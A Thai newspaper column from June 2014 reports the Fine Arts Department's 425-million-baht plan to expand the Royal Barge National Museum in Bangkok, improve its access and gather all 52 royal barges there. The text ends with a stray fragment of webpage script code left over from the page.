มติชนรายวัน ฉบับประจำวันจันทร์ที่ 9 มิถุนายน 2557

 

มิวเซียมเรือพระราชพิธี มีลุ้น

          พิพิธภัณฑ์เรือพระราชพิธี อยู่ปากคลองบางกอกน้อย กทม. (วังหลัง) ฝั่งตรงข้าม รพ. ศิริราช สถานีรถไฟธนบุรี

          เป็นแหล่งท่องเที่ยวสำคัญ แต่คนเข้าถึงยุ่งยากมากๆ ผมเคยเขียนบอกกรมศิลปากรหลายครั้ง ทั้งขอให้ปรับปรุงเส้นทางเพื่อคนเข้าถึงง่ายๆ หรือขยับขยายไปสร้างที่อื่น

          กระทั่งไม่กี่วันมานี้ มีข่าวอยู่ใน คม ชัด ลึก (ฉบับวันอังคารที่ 3 มิถุนายน 2557 หน้า 13) จะคัดสรุปมาดังนี้

          กรมศิลปากรจะเสนอโครงการการพัฒนาพิพิธภัณฑสถานแห่งชาติ เรือพระราชพิธี ต่อ พล.ร.อ. ณรงค์ พิพัฒนาศัย ผบ.ทร. ในฐานะ รองหัวหน้าคณะรักษาความสงบแห่งชาติ (คสช.) ฝ่ายสังคมและจิตวิทยา

          เพื่อขอใช้งบประมาณ 425 ล้านบาท ปรับปรุงและพัฒนาพิพิธภัณฑ์ให้เป็นที่รวบรวมเรือพระราชพิธีที่กระจัดกระจายอยู่ในที่อื่นๆ ให้มาอยู่ในที่เดียวกัน และพัฒนาการจัดแสดงให้มีมาตรฐานน่าสนใจ

          พิพิธภัณฑ์แห่งนี้ เปิดบริการแก่สาธารณะมาตั้งแต่ปี 2517 จัดแสดงเรื่องราวเกี่ยวกับเรือพระที่นั่งและเรือพระราชพิธีที่ใช้ในขบวนพยุหยาตราทางชลมารค จำนวน 8 ลำ จากเรือทั้งหมด 52 ลำ โดยที่เหลือถูกแยกเก็บตามที่ต่างๆ ทั้งที่ท่าวาสุกรีในความดูแลของสำนักพระราชวัง จำนวน 6 ลำ และที่กองเรือเล็ก กองทัพเรือ 38 ลำ แต่ปัจจุบันสถานที่ตั้งของพิพิธภัณฑ์แห่งนี้แวดล้อมไปด้วยชุมชนแออัด มีสภาพทรุดโทรม ขาดความสวยงาม

           แผนงานการพัฒนา จะเริ่มตั้งแต่ปี 2558-2561 ดังนี้

          ขอใช้ประโยชน์ในที่ดินของกองทัพเรือ ซึ่งปัจจุบันเป็นที่ตั้งของที่บัญชาการกองเรือเล็กและสโมสร เนื้อที่ 7 ไร่ 2 งาน 80 ตารางวา เพื่อเปิดพื้นที่เส้นทางเข้า-ออกพิพิธภัณฑสถาน ทางบกด้านถนนอรุณอมรินทร์ เพื่อเป็นอีกเส้นทางหนึ่งที่สะดวกสำหรับนักท่องเที่ยวที่มาทางรถยนต์

          รวมทั้งเพิ่มขยายอาคารจัดแสดงเรื่องราวความเป็นมาและเรื่องราวต่างๆ เกี่ยวกับเรือพระราชพิธี ที่ใช้ในขบวนพยุหยาตราชลมารค ซึ่งจากเดิม 8 ลำ มาเป็นจำนวนทั้งหมด 52 ลำ ด้วยระบบการจัดแสดงที่ทันสมัยให้ความรู้ความเพลิดเพลิน รวมทั้งมีห้องบรรยายสรุป และส่วนบริการและอำนวยความสะดวกแก่นักท่องเที่ยว

          “ในโอกาสที่พระบาทสมเด็จพระเจ้าอยู่หัวเสด็จพระราชดำเนินทอดพระเนตรเรือ เมื่อวันที่ 13 กุมภาพันธ์ พ.ศ. 2495 มีพระราชกระแสรับสั่งให้รักษาโรงเรือและเรือมากยิ่งขึ้น รัฐบาลจึงให้กรมศิลปากรและกองทัพเรือเป็นแม่งานในการซ่อมแซมและจัดทำทะเบียนบัญชีเรือพระราชพิธี จนสามารถนำมาใช้จัดขบวนพยุหยาตราชลมารค ในโอกาสฉลอง 25 พุทธศตวรรษ พ.ศ. 2500 และในปี พ.ศ. 2502 พระบาทสมเด็จพระเจ้าอยู่หัว โปรดเกล้าฯ ให้ฟื้นฟูจารีตประเพณีการเสด็จพระราชดำเนินถวายผ้าพระกฐินโดยขบวนพยุหยาตราชลมารคขึ้นใหม่เป็นครั้งแรก” นายเอนก สีหามาตย์ อธิบดีกรมศิลปากร กล่าว

          ผมเคยเขียนเล่าไว้หลายครั้งแล้ว โดยสรุปว่าเรือพระราชพิธี มีพัฒนาการจากเรือศักดิ์สิทธิ์ของผู้คนในภูมิภาคอุษาคเนย์ ราว 3,000 ปีมาแล้ว มีหลักฐานอยู่ที่ลายเส้นบนกลองทองมโหระทึก

          ขณะนี้มีเหลือความสืบเนื่องขบวนเรือใช้งานจริงเฉพาะในไทยเท่านั้น ถ้าทำสำเร็จจะได้ทั้งคุณค่าและมูลค่ามหาศาลไม่ขาดทุนd.getElementsByTagName(‘head’)[0].appendChild(s);